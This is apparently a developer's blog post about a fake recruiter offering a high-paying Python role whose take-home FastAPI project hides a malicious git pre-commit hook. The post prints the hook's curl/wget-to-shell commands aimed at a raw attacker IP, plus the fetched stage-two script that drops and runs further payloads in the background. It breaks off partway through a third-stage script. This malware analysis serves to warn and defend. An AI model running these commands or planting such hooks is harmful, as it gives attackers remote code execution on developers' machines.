Appaji - Software Engineer
A recruiter slid into my LinkedIn DMs last Thursday with a Python developer role. I was thrilled that someone had reached out directly, so I asked for more details. When he shared the role description, company name, and the estimated pay, I figured I had nothing to lose.
Here is the initial message:
Offering $10,000-$15,000 a month for a remote-first, contract-to-hire role is just too good.<br>Also, why is this guy revealing pay info before even we met? I thought recruiters play the “you first, me next” game. Rookie mistake.
Red flags immediately started waving. Why the astronomical budget? I looked up the company and saw it was a Y Combinator startup. YC companies aren’t exactly known for conventional operations, so it wasn’t completely outside the realm of possibility. Still, if a company has that kind of cash to throw around, they usually have a much more structured hiring pipeline. I decided to proceed, but kept my guard up.
I sent over my resume. The recruiter quickly approved it and handed over a take-home assignment via a Google Drive link containing a zip archive and a PDF with instructions.
I extracted the zip. At first glance, it was just a boilerplate FastAPI backend using SQLAlchemy; pretty standard stuff. I checked requirements.txt for any obvious typosquatting or malicious packages, but it was completely clean. For a brief second, I thought my suspicions were unfounded and this was a legitimate opportunity.
This is just a habit (may be from doing CTFs), whenever I get a random project folder, I just run tree -a to see what’s lurking in the hidden directories. But this might be the first time it paid off in the real world.
❯ tree -a .<br>├── alembic.ini<br>├── for learning<br>│ ├── dtos.py<br>│ ├── main.py<br>│ └── mockData.py<br>├── .git<br>│ ├── config<br>│ ├── description<br>│ ├── gk<br>│ │ └── config<br>│ ├── HEAD<br>│ ├── hooks<br>│ │ ├── applypatch-msg<br>│ │ ├── commit-msg<br>│ │ ├── fsmonitor-watchman<br>│ │ ├── post-applypatch<br>│ │ ├── post-checkout<br>│ │ ├── post-commit<br>│ │ ├── post-merge<br>│ │ ├── post-receive<br>│ │ ├── post-rewrite<br>│ │ ├── post-update<br>│ │ ├── pre-applypatch<br>│ │ ├── pre-auto-gc<br>│ │ ├── pre-commit<br>│ │ ├── pre-merge-commit<br>│ │ ├── prepare-commit-msg<br>│ │ ├── pre-push<br>│ │ ├── pre-rebase<br>│ │ ├── pre-receive<br>│ │ ├── proc-receive<br>│ │ ├── push-to-checkout<br>│ │ ├── sendemail-validate<br>│ │ └── update<br>│ ├── index<br>│ ├── info<br>│ │ └── exclude<br>│ ├── logs<br>...<br>Wait a minute. A ton of Git hooks were pre-configured in the repository. I opened the pre-commit script to see what they were trying to run.
❯ cat .git/hooks/pre-commit<br>#!/bin/sh
case "$(uname -s)" in<br>Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;<br>Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;<br>MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;<br>*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;<br>esac<br>Bingo. They embedded a script that checks the victim’s host operating system and silently executes a remote payload.
Side note : Why use a raw IP address? If anything, this screams “malware.” At least register a decoy domain like lint-checker.com or jenkins-ci-runner.net. If the threat actors who wrote this are reading: take notes people!
Let’s see what the Linux payload actually does. Notice the id=402 parameter being passed to the endpoint. Keep that in mind.
❯ curl http://45.61.164.38:5777/task/linux?id=402<br>#!/bin/bash<br>set -e<br>echo "Authenticated"<br>TARGET_DIR="$HOME/Documents"<br>clear<br>wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://45.61.164.38:5777/task/tokenlinux?id=402"<br>clear<br>mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"<br>clear<br>chmod +x "$TARGET_DIR/tokenlinux.sh"<br>clear<br>nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &<br>clear<br>exit 0<br>The script pulls down a secondary payload initially named tokenlinux.npl (we’ll circle back to that specific extension later). It then hides the file in my ~/Documents directory as tokenlinux.sh, makes it executable, and fires it off in the background using nohup.
From Google: The nohup command (short for “no hang up”) is a Linux/Unix utility that keeps a process running even after you log out, close the terminal, or disconnect from an SSH session.
Down the rabbit hole we go. Let’s inspect this next script.
❯ curl http://45.61.164.38:5777/task/tokenlinux?id=402<br>...<br>...<br>BASE_URL="http://45.61.164.38:5777"<br>...
# Step 8: Download files
# Check if curl is available
if ! command -v curl >/dev/null 2>&1; then<br># If curl is not available, use wget<br>wget -q -O "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"<br>wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/json"<br>else<br># If curl is available, use curl<br>curl -s -L -o "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"<br>curl -s -L -o "$USER_HOME/package.json"...